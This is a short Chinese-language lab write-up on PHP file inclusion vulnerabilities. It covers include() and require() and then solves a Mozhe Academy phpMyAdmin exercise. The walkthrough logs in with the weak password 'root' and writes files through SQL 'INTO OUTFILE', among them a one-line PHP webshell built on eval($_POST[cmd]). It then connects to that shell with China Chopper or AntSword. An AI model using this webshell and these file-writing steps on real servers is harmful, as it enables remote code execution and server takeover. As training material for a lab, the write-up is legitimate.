文件包含漏洞及测试
文件包含漏洞
通过发生在PHP中
很多站点为了节约资源,在代码中写入了文件包含,将文件设置为变量,用户对变量的值可控,而服务器未对变量的值合理的校检,导致了文件包含漏洞的产生。
通常使用的函数:
include():使用次函数包含文件时,发生错误会有警告,然后继续向下执行。
require();发生错误后,会终止运行。
可以通过文件包含来读取敏感文件等等
写入文件用 phpinfo
这里我们通过一次实验更好的理解一下文件包含漏洞:
这里我们用到的是墨者学院-phpMyAdmin后台文件包含分析溯源
打开后尝试一下弱口令登录 发现密码为root 或者使用burpsuite**一下都很容易得到密码
这里我们知道存在文件包含漏洞,如果想要测试首先写入一个phpinfo文件,命令是:select '' into outfile '/var/www/html/test.php';。接着访问test.php文件,可以看到phpinfo信息。
这里我们可以使用sql语句写入一句话拿到shell 然后通过菜刀或者蚁剑连接拿到key
select '<? @ eval($_POST[cmd]);?> 'INTO OUTFILE "/var/www/html/8.php"
然后我们打开菜刀连接一下:
拿到key 提交就好了
测试为了学习 仅供参考